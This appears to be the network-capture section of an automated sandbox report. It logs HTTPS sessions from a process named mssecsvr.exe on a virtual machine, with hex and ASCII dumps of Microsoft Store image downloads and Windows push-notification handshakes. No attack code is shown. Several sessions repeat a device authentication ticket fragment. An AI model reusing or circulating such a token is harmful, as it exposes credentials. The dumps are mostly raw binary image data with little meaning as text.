2022-07-20 17:07:53 UTC	658	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.7	49742	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:06:49 UTC	71	OUT	GET /image/apps.18694.9007199266247846.b5c49955-e050-4553-b8e4-0e223ed6c5a1.4e8e78d2-c2c2-4c02-8d8c-46ac3b2419e7?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:06:49 UTC	71	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 3667 Content-Type: image/png Last-Modified: Wed, 04 Mar 2020 18:13:09 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdDMDY3QjFCNTg1NkE" MS-CV: RzU3JcDdukKYyaz4.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:06:49 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:06:49 UTC	71	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 0e 1a 49 44 41 54 78 5e ed 9d 5f 88 24 57 15 c6 cf a9 ee 99 64 66 a3 6e 36 f8 26 91 68 20 28 11 9f 44 25 a8 80 88 40 80 e0 93 04 7c 11 51 c1 17 ff 83 a8 82 18 41 81 18 50 51 21 82 90 27 41 7c 11 88 08 18 44 21 1a 14 9f 22 c1 b8 06 5f 44 65 d7 dd c5 75 77 76 67 a6 fb 7e 5a bd b7 f9 e8 7b b8 9c 99 a2 6b a6 ab e6 7c 70 b9 a7 aa 86 ee 9e ee 5f 7f e7 dc 7b ab aa 15 80 1c 57 a1 50 23 ae 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 70 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 70 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 70 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 70 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 4d 65 04 52 55 95 01 0a 00 64 a0 52 00 01 46 80 d5 37 38 01 4a 80 44 Data Ascii: PNGIHDR0IDATx^_$Wdfn6&h (D%@\|QAPQ!'A\|D!"_Deuwvg~Z{k\|p_{WP#B'PpB'PpB'PpB'PpB'PMeRUdRF78JD

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.7	50948	20.199.120.182	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:54 UTC	661	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 36 39 30 30 66 61 30 30 63 39 61 39 38 39 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: a6900fa00c9a989a
2022-07-20 17:07:54 UTC	661	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:07:54 UTC	661	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 36 39 30 30 66 61 30 30 63 39 61 39 38 39 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 65 75 61 42 4a 41 6d 72 51 41 6b 70 4b 75 57 56 42 35 6f 62 41 69 75 4a 4d 4e 66 69 63 78 54 59 51 45 62 71 44 32 36 4f 4b 4f 64 6a 79 64 56 44 34 72 4b 37 4c 4e 6a 59 62 65 70 53 4f 38 41 58 31 7a 39 56 51 49 44 69 54 67 37 74 37 5a 41 58 56 62 7a 71 53 49 2f 32 6c 73 4d 34 36 53 6b 61 4d 36 69 34 77 6f 68 30 72 53 38 6f 67 6b 6d 6c 48 61 47 33 39 57 4c 34 70 33 66 43 76 31 58 5a 41 77 59 31 2f 4e 6b Data Ascii: ATH 2 CON\DEVICE 1014Context: a6900fa00c9a989a<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWeuaBJAmrQAkpKuWVB5obAiuJMNficxTYQEbqD26OKOdjydVD4rK7LNjYbepSO8AX1z9VQIDiTg7t7ZAXVbzqSI/2lsM46SkaM6i4woh0rS8ogkmlHaG39WL4p3fCv1XZAwY1/Nk
2022-07-20 17:07:54 UTC	662	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 36 39 30 30 66 61 30 30 63 39 61 39 38 39 61 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: a6900fa00c9a989a
2022-07-20 17:07:54 UTC	662	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:07:54 UTC	662	IN	Data Raw: 4d 53 2d 43 56 3a 20 36 46 61 39 52 5a 6d 39 39 30 75 7a 4a 54 52 59 64 55 43 38 69 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 6Fa9RZm990uzJTRYdUC8ig.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.7	51003	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:59 UTC	662	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 66 64 34 64 31 30 65 65 62 30 63 61 34 31 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 2fd4d10eeb0ca410
2022-07-20 17:07:59 UTC	662	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:07:59 UTC	662	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 66 64 34 64 31 30 65 65 62 30 63 61 34 31 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 65 75 61 42 4a 41 6d 72 51 41 6b 70 4b 75 57 56 42 35 6f 62 41 69 75 4a 4d 4e 66 69 63 78 54 59 51 45 62 71 44 32 36 4f 4b 4f 64 6a 79 64 56 44 34 72 4b 37 4c 4e 6a 59 62 65 70 53 4f 38 41 58 31 7a 39 56 51 49 44 69 54 67 37 74 37 5a 41 58 56 62 7a 71 53 49 2f 32 6c 73 4d 34 36 53 6b 61 4d 36 69 34 77 6f 68 30 72 53 38 6f 67 6b 6d 6c 48 61 47 33 39 57 4c 34 70 33 66 43 76 31 58 5a 41 77 59 31 2f 4e 6b Data Ascii: ATH 2 CON\DEVICE 1014Context: 2fd4d10eeb0ca410<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWeuaBJAmrQAkpKuWVB5obAiuJMNficxTYQEbqD26OKOdjydVD4rK7LNjYbepSO8AX1z9VQIDiTg7t7ZAXVbzqSI/2lsM46SkaM6i4woh0rS8ogkmlHaG39WL4p3fCv1XZAwY1/Nk
2022-07-20 17:07:59 UTC	663	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 66 64 34 64 31 30 65 65 62 30 63 61 34 31 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 2fd4d10eeb0ca410<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 17:07:59 UTC	664	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:07:59 UTC	664	IN	Data Raw: 4d 53 2d 43 56 3a 20 67 6f 48 7a 62 76 76 57 65 55 43 2b 33 54 6b 4c 4b 61 36 70 68 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: goHzbvvWeUC+3TkLKa6phg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.7	51452	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:08:12 UTC	664	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 63 31 32 37 34 63 33 31 34 32 36 37 37 37 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 6c1274c31426777e
2022-07-20 17:08:12 UTC	664	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:08:12 UTC	664	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 63 31 32 37 34 63 33 31 34 32 36 37 37 37 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 65 75 61 42 4a 41 6d 72 51 41 6b 70 4b 75 57 56 42 35 6f 62 41 69 75 4a 4d 4e 66 69 63 78 54 59 51 45 62 71 44 32 36 4f 4b 4f 64 6a 79 64 56 44 34 72 4b 37 4c 4e 6a 59 62 65 70 53 4f 38 41 58 31 7a 39 56 51 49 44 69 54 67 37 74 37 5a 41 58 56 62 7a 71 53 49 2f 32 6c 73 4d 34 36 53 6b 61 4d 36 69 34 77 6f 68 30 72 53 38 6f 67 6b 6d 6c 48 61 47 33 39 57 4c 34 70 33 66 43 76 31 58 5a 41 77 59 31 2f 4e 6b Data Ascii: ATH 2 CON\DEVICE 1014Context: 6c1274c31426777e<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWeuaBJAmrQAkpKuWVB5obAiuJMNficxTYQEbqD26OKOdjydVD4rK7LNjYbepSO8AX1z9VQIDiTg7t7ZAXVbzqSI/2lsM46SkaM6i4woh0rS8ogkmlHaG39WL4p3fCv1XZAwY1/Nk
2022-07-20 17:08:12 UTC	665	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 63 31 32 37 34 63 33 31 34 32 36 37 37 37 65 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 6c1274c31426777e
2022-07-20 17:08:12 UTC	665	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:08:12 UTC	665	IN	Data Raw: 4d 53 2d 43 56 3a 20 45 31 4d 45 69 6b 41 6a 34 45 4b 49 41 74 69 75 2b 6e 53 6d 59 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: E1MEikAj4EKIAtiu+nSmYg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.7	51458	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:08:12 UTC	665	OUT	GET /image/apps.51843.9007199266243449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.c13e8407-eaf8-447a-a5d6-9abd8bc2c1f3?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:08:12 UTC	665	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 2132 Content-Type: image/png Last-Modified: Tue, 06 Oct 2020 07:51:53 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDg2OUNDQjEyNkQ2RTQ" MS-CV: io5H35z9qESL1hpw.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:08:12 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:08:12 UTC	666	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 03 00 00 00 d0 23 c0 3a 00 00 02 46 50 4c 54 45 ff ff ff 22 90 d3 00 1f 37 00 1e 37 2b b0 fe 04 2e 4c 01 23 3d 00 1e 36 2c b1 ff 8f 9c a6 00 21 3a 03 2d 4b 01 24 3f 15 67 9b 02 26 42 02 28 44 15 6a 9f 0f 55 81 06 36 57 00 21 3b 22 94 d8 1c 81 be 1f 8c ce 10 58 86 06 35 57 10 58 87 1a 79 b3 01 24 3e 1d 86 c5 1f 8b cd 2a af fc 06 35 56 21 90 d3 15 6a 9e 1c 84 c2 19 78 b3 1a 7a b4 1d 85 c4 02 27 43 19 77 b1 fe fe fe 14 66 99 19 77 b0 03 2c 4a 19 78 b2 1c 84 c3 2b af fd 28 a5 ef 10 59 88 1f 8c cd 0c 29 3f 2c 45 59 05 22 39 2a ae fb 01 25 40 07 3a 5d 16 6e a4 04 2f 4d 20 90 d3 15 67 9c 0f 55 82 28 a7 f2 27 a4 ee 24 9a e1 08 3b 5e 0d 4f 7a 00 1f 38 06 37 58 23 99 e0 00 20 39 21 91 d5 14 Data Ascii: PNGIHDR#:FPLTE"77+.L#=6,!:-K$?g&B(DjU6W!;"X5WXy$>5V!jxz'Cwfw,Jx+(Y)?,EY"9%@:]n/M gU('$;^Oz87X# 9!

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.7	51499	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:08:14 UTC	668	OUT	GET /image/apps.54145.14618985536919905.4b30e4f3-f7a1-4421-840c-2cc97b10e8e0.0df01b4e-7fca-47eb-b3d7-95ba7990754d?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:08:14 UTC	669	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 64662 Content-Type: image/png Last-Modified: Fri, 25 Jun 2021 08:37:44 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkzN0I0ODBBM0YxNTA" MS-CV: ++gJr3axoUmfcmGL.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:08:14 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:08:14 UTC	669	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 80 00 49 44 41 54 78 9c bc bd 09 b8 6f 59 55 1f f8 3b f7 fe ef 7d f7 0d f5 6a 1e a1 0a aa 8a c2 82 02 0b d0 56 51 89 46 0d 11 e4 d3 0e 26 86 88 51 8c f9 3a e9 f8 35 26 e9 b6 cd 64 ba e3 67 d2 6d d2 d1 b4 b6 6d 12 35 6a 6c 8d 60 68 47 44 01 03 11 30 32 c8 20 83 54 51 14 54 51 f3 5c 6f 7e 77 3a 7d 86 bd f6 fe ad 61 9f 73 ee 83 f4 f9 ea d5 b9 ff 73 f6 59 7b ad b5 d7 fa ed b5 f6 de 67 9f 15 5e ff 86 4f 63 7d e3 12 ec ed 02 0d 30 fc 4f 9d a3 6b 4d be ec ee 0f 27 be df fd 6f ad 3f af 99 7b a6 cc d4 3d 2e 33 c9 9f f9 bb b1 cf f4 6c 54 f8 58 2a 77 ed 5e db d3 6e c6 f3 14 ff 4d d2 c5 5a ed 5e 4d d7 Data Ascii: PNGIHDR,,y}upHYsodIDATxoYU;}jVQF&Q:5&dgmm5jl`hGD02 TQTQ\o~w:}assY{g^Oc}0OkM'o?{=.3lTX*w^nMZ^M
2022-07-20 17:08:14 UTC	701	IN	Data Raw: 69 75 e5 8e 75 32 fc 95 db af c4 15 87 57 59 47 c3 73 9d d3 fe f2 1d 4f e2 74 bf 0b 44 a7 87 b6 07 f3 ae c0 b5 97 6e e1 d5 cf b9 18 af 7a f6 71 bc e0 f2 2d 5c dd 81 cc c6 7a f1 b4 5e de 87 ce ec e1 5d 0f 9e c1 4f 7e ec 49 fc c1 3d a7 d0 6e ae 0d 75 0f 18 de d3 e9 44 bc ee d2 43 78 f5 8d c7 f0 ca eb 8f e2 b6 4b 37 71 75 07 20 87 56 6b ca ea 4f 74 40 fa 81 c7 b7 f1 d3 77 9e c4 af dc 75 ba 8b b8 3a e9 d6 d7 8c 07 16 af 89 66 66 db 5e df 5d 95 37 5e ba 81 6f bd 61 0b 2f bf 66 13 cf 3b be c2 95 1d 00 1e 5a d7 9d 5f 6f 0f 8f 77 a0 f5 89 13 7b f8 9d 87 b6 f1 cb 9f 3b 8f 07 4f ee 0e bb 60 94 6a 5b 0f 5a 11 38 28 27 67 57 3a c0 98 56 00 26 39 92 37 65 60 68 28 be 84 60 be 36 bd e4 21 97 83 97 07 82 16 01 68 d9 f1 b8 fe 7f e3 40 45 6b 6b 2a 67 b7 57 10 04 5c 6c 8f Data Ascii: iuu2WYGsOtDnzq-\z^]O~I=nuDCxK7qu VkOt@wu:ff^]7^oa/f;Z_ow{;O`j[Z8('gW:V&97e`h(`6!h@Ekk*gW\l
2022-07-20 17:08:14 UTC	717	IN	Data Raw: 36 a5 ef 1b db b8 dc 83 a2 6c 43 8c 72 aa c4 8c 59 bd f8 5b e3 0a da cf 13 53 3a b3 b2 49 6d 70 bb ab a7 0b 53 c6 2d 3b 5a c7 b5 ec a8 61 bf 01 14 37 62 6a dc d2 56 71 1d 7b 55 f9 7b b0 e5 d3 62 9c b1 19 76 33 68 d8 cf 27 df 7a be 63 56 12 ac 6c 59 ba 0d 50 f5 18 59 ec 3d 3a 82 27 f7 1c c6 01 e3 26 76 18 d0 3a 65 76 1f ce 5f 36 0b 7d a6 3c 43 e3 53 ec 3e fb 76 d8 00 d1 9a 85 83 78 df 4b 96 e2 2f bf b3 b5 5e 5f 09 d2 59 9a 36 31 69 5e 76 da 5c c3 84 56 3b 66 d5 84 df 03 d6 3d b7 41 7f 03 86 56 76 dd 7e 2a 83 a9 c3 f0 84 de 9e 36 54 38 61 9e f1 67 2f 5f 8a 3b 77 0d e1 c1 ed 27 4c a7 56 b1 e6 34 1c 52 95 5c 5d e2 55 7b 24 72 52 32 5d 49 12 f6 e9 aa c5 9b f3 5a 42 bc b0 d6 2d 4f 1a 98 7d 7b 5b 06 c9 32 98 4a 1a 03 0c 8f 8c 4d ab 80 16 81 09 90 8c 69 de 32 0d Data Ascii: 6lCrY[S:ImpS-;Za7bjVq{U{bv3h'zcVlYPY=:'&v:ev_6}<CS>vxK/^_Y61i^v\V;f=AVv~*6T8ag/_;w'LV4R\]U{$rR2]IZB-O}{[2JMi2
2022-07-20 17:08:14 UTC	738	IN	Data Raw: 38 77 d5 02 3c ba 61 97 d1 f6 1e de 43 8e 4d e0 e2 f3 56 61 cd e2 d9 18 1d 4f 01 ab d3 ba 9e 63 e3 f8 cc 3d 9b ab 65 2f 04 ac 4b df d7 bc 58 86 65 f1 65 a0 1b 2f 3b 75 81 b1 24 dd 38 6d 51 a7 0c 6b fa f4 fd cf 57 a7 48 d3 fb 25 e8 7b 4a d2 4e 79 7c ba 92 c8 d8 ca c3 3c 6b ed 8a 39 38 77 c9 4c 75 ba 88 0d f8 df f6 c4 1e 1c 38 30 54 b9 82 25 98 0b 53 a9 85 7d 5f cd 7d 5b 69 5c be 52 61 79 f6 89 f6 eb 11 1a 14 b7 65 31 cf 7c e9 d2 19 58 38 b3 07 23 0a 23 b2 57 af 69 87 fb 76 1c c7 dd 2f d4 2e 9c 74 8f e8 67 f3 fb 43 3b 8f e3 1e f3 f7 8a 55 b3 12 a6 67 2f 1b a8 5f 3c a3 1b 2f 5d dc 8f 9b 36 8e 55 88 a8 b0 a8 40 c8 6b f9 87 43 56 34 a6 85 08 44 a9 eb 98 a6 c9 c6 b2 02 30 81 83 9d 60 61 09 8b 4a 30 01 f0 0c b1 32 f9 22 88 3c 61 5a 40 78 7e 02 5a a4 29 43 0c 4b Data Ascii: 8w<aCMVaOc=e/KXee/;u$8mQkWH%{JNy\|<k98wLu80T%S}_}[i\Raye1\|X8##Wiv/.tgC;Ug/_</]6U@kCV4D0`aJ02"<aZ@x~Z)CK
2022-07-20 17:08:14 UTC	754	IN	Data Raw: f8 6d 5c b6 13 c3 63 f8 bb eb 6f c7 bf 7c f3 21 bc f9 ea f5 f8 c5 9f b8 0c 17 9d b5 d2 a5 1b 1b 1d 73 9b c4 fd 47 5d 15 be 54 8a 33 25 d7 c5 fd 27 bb ac 94 fb ed a8 9f 61 7d fb 0e 0f e1 0b df dd 88 7f b8 63 13 9e 79 a1 de 1e c6 cd a9 aa af 92 6b 9b 76 52 32 03 1b 03 52 af 3b 6b 11 16 cf b3 7b a3 8d 63 b0 bf 0b cf ec 3c 82 0f 7e fd 29 37 ef 8a 4d a4 f4 4f f1 e2 d4 58 38 09 30 84 48 8e a6 73 e0 fa 1b 80 8d fa 5a d2 85 a3 a0 c5 11 91 b8 79 c8 02 9a 1e 4a 51 48 40 28 27 52 5b 03 95 25 20 01 2e ac 7b ad 93 b0 ed 65 7c 63 82 3c 4e 7e 47 3f cb 74 ed 30 31 ed 3e 9f 67 ee fe 76 d2 36 3d 57 cb b7 6a 2b 3e 19 51 0b 32 c6 b4 10 0a a1 cd 5f 4a 99 96 8f 45 78 65 d0 a6 04 24 2c cd 4b da ce 9d aa 81 eb 5f be 70 17 ae bf e9 21 bc e1 f2 75 78 df 1b 5e 8a 57 bf f4 74 0c 0c Data Ascii: m\co\|!sG]T3%'a}cykvR2R;k{c<~)7MOX80HsZyJQH@('R[% .{e\|c<N~G?t01>gv6=Wj+>Q2_JExe$,K_p!ux^Wt
